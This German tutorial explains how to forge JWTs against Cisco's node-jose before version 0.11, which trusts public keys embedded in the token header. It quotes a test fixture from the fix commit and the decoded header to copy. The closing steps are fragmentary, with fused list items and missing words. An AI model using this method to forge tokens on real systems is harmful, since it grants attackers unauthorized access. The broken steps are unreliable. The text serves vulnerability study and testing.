
Ausnutzung einer Schwachstelle in Ciscos node-jose, einer JavaScript-Bibliothek zur Verwaltung von JWT.
Ausnutzung einer Schwachstelle in Ciscos node-jose, einer JavaScript-Bibliothek zur Verwaltung von JWT.
Diese Schwachstelle in Ciscos node-jose ermöglicht es einem Angreifer, bösartige Token zu fälschen.
JWT erlaubt es Benutzern, öffentliche Schlüssel (über den jwk-Wert) im Header des Tokens einzubetten. Die Anwendung sollte diesen Schlüsseln jedoch niemals vertrauen, da ein Angreifer seinen eigenen Schlüssel bereitstellen und die Nachricht mit dem entsprechenden privaten Schlüssel signieren kann.
Diese Schwachstelle betrifft Versionen vor 0.11.
Wenn wir uns die Änderungen ansehen, die zur Behebung dieses Problems eingeführt wurden https://github.com/cisco/node-jose/commit/959a61d707ed2c8cf6582139a5605119283e4acb, ist eine Datei besonders interessant (test/fixtures/jws.embedded_jwk.json):
"signing": {
"protected": {
"alg": "PS256",
"jwk": {
"kty": "RSA",
"kid": "[email protected]",
"use": "sig",
"n": "n4EPtAOCc9AlkeQHPzHStgAbgs7bTZLwUBZdR8_KuKPEHLd4rHVTeT-O-XV2jRojdNhxJWTDvNd7nqQ0VEiZQHz_AJmSCpMaJMRBSFKrKb2wqVwGU_NsYOYL-QtiWN2lbzcEe6XC0dApr5ydQLrHqkHHig3RBordaZ6Aj-oBHqFEHYpPe7Tpe-OfVfHd1E6cS6M1FZcD1NNLYD5lFHpPI9bTwJlsde3uhGqC0ZCuEHg8lhzwOHrtIQbS0FVbb9k3-tVTU4fg_3L_vniUFAKwuCLqKnS2BYwdq_mzSnbLY7h_qixoR7jig3__kRhuaxwUkRz5iaiQkqgc5gHdrNP5zw",
"e": "AQAB"
}
},
"protected_b64u": "eyJhbGciOiJQUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLCJ1c2UiOiJzaWciLCJuIjoibjRFUHRBT0NjOUFsa2VRSFB6SFN0Z0FiZ3M3YlRaTHdVQlpkUjhfS3VLUEVITGQ0ckhWVGVULU8tWFYyalJvamROaHhKV1REdk5kN25xUTBWRWlaUUh6X0FKbVNDcE1hSk1SQlNGS3JLYjJ3cVZ3R1VfTnNZT1lMLVF0aVdOMmxiemNFZTZYQzBkQXByNXlkUUxySHFrSEhpZzNSQm9yZGFaNkFqLW9CSHFGRUhZcFBlN1RwZS1PZlZmSGQxRTZjUzZNMUZaY0QxTk5MWUQ1bEZIcFBJOWJUd0psc2RlM3VoR3FDMFpDdUVIZzhsaHp3T0hydElRYlMwRlZiYjlrMy10VlRVNGZnXzNMX3ZuaVVGQUt3dUNMcUtuUzJCWXdkcV9telNuYkxZN2hfcWl4b1I3amlnM19fa1JodWF4d1VrUno1aWFpUWtxZ2M1Z0hkck5QNXp3IiwiZSI6IkFRQUIifX0",
"sig-input": "eyJhbGciOiJQUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJiaWxiby5iYWdnaW5zQGhvYmJpdG9uLmV4YW1wbGUiLCJ1c2UiOiJzaWciLCJuIjoibjRFUHRBT0NjOUFsa2VRSFB6SFN0Z0FiZ3M3YlRaTHdVQlpkUjhfS3VLUEVITGQ0ckhWVGVULU8tWFYyalJvamROaHhKV1REdk5kN25xUTBWRWlaUUh6X0FKbVNDcE1hSk1SQlNGS3JLYjJ3cVZ3R1VfTnNZT1lMLVF0aVdOMmxiemNFZTZYQzBkQXByNXlkUUxySHFrSEhpZzNSQm9yZGFaNkFqLW9CSHFGRUhZcFBlN1RwZS1PZlZmSGQxRTZjUzZNMUZaY0QxTk5MWUQ1bEZIcFBJOWJUd0psc2RlM3VoR3FDMFpDdUVIZzhsaHp3T0hydElRYlMwRlZiYjlrMy10VlRVNGZnXzNMX3ZuaVVGQUt3dUNMcUtuUzJCWXdkcV9telNuYkxZN2hfcWl4b1I3amlnM19fa1JodWF4d1VrUno1aWFpUWtxZ2M1Z0hkck5QNXp3IiwiZSI6IkFRQUIifX0.SXTigJlzIGEgZGFuZ2Vyb3VzIGJ1c2luZXNzLCBGcm9kbywgZ29pbmcgb3V0IHlvdXIgZG9vci4gWW91IHN0ZXAgb250byB0aGUgcm9hZCwgYW5kIGlmIHlvdSBkb24ndCBrZWVwIHlvdXIgZmVldCwgdGhlcmXigJlzIG5vIGtub3dpbmcgd2hlcmUgeW91IG1pZ2h0IGJlIHN3ZXB0IG9mZiB0by4",
"sig": "XslzHQKM0UogsxugMxj0vmFhNijnmCksPyQ0x8SQ5xC9rEg4_3n_22bdJkM6CQWiTSDUuBCgXo3eqb6GhoPnYgnlGouDy0dIeaihl5Nr85uncW29I39OEZel8UtVGTfOxwssibymheBjKVp0_umkQANicz2_JTLGJQ42BgDVq6L2ZyrqIu7onr9B1XC-O9uzN2xoDfRwK7jCJjH1TPH09W9Pi1iLiXuf7liKH5dBDFzfjCqS4p3PQ6KtdT_gMTOg35PErxFfoi_53cr4l-rUv5ZkdcmIadGjMHDBVpfKSHhkZRVrvR0q6Go6TyvzL5l_hONYKKn09pkhFDjN9JvZeQ"
Besonders der Wert sig-input, der nach dem Dekodieren die folgenden Daten liefert:
{
"alg":"PS256",
"jwk": {
"kty":"RSA",
"kid":"[email protected]",
"use":"sig",
"n":"n4EPtAOCc9AlkeQ...........rNP5zw",
"e":"AQAB"
}
}
Dies ist das Format, dem wir folgen müssen, um den richtigen Header für unser Payload zu erhalten.
openssl.n und e aus der öffentlichen Komponente des soeben erstellten privaten Schlüssels.n und e in Ihrem Payload ändern, um sicherzustellen, dass sie zu dem verwendeten privaten Schlüssel passen.alg derjenige ist, den Sie zum Signieren verwenden. Höchstwahrscheinlich müssen Sie den Wert in RS256 ändern.